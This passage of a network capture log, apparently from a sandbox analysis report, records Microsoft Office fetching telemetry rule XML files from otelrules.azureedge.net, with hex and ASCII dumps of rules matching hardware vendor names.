R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e1dc95e-801e-007b-6ed5-33e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f78459685726chC1EWRsnbg00000005400000000045fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 5fec14be-a01e-0021-75d5-33814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968nxc96hC1EWRspw800000004tg000000005dh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 186f8a49-401e-005b-46d5-339c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968l4kp6hC1EWRe8840000000580000000009gqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5eaa081d-f01e-0099-68d5-339171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968frfdmhC1EWRxxbw0000000550000000000xtn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 072c0228-901e-00ac-3ad5-33b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968xlwnmhC1EWR0sv800000004u000000000af1u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 78b03680-101e-000b-4bd5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968xlwnmhC1EWR0sv800000004x00000000040q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:03 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:03 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:03 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8377dffe-c01e-00a1-6ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133303Z-174f7845968xlwnmhC1EWR0sv800000004vg000000008cmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:04 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:04 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:04 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a7e44230-001e-0082-7dd5-335880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133304Z-174f7845968pf68xhC1EWRr4h800000005bg000000000gap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:04 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:04 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 1815e533-001e-0028-01d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133304Z-174f7845968frfdmhC1EWRxxbw00000004xg00000000g02w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:04 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:04 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 31c5dea7-101e-008d-51d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133304Z-174f7845968cdxdrhC1EWRg0en0000000510000000003t5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:04 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:04 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:04 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c8358df5-201e-005d-53d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133304Z-174f7845968cdxdrhC1EWRg0en00000004z0000000008qq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:04 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:04 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:04 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 642c93e8-001e-0014-7cd5-335151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133304Z-174f7845968qj8jrhC1EWRh41s00000004y0000000008zga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:04 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" 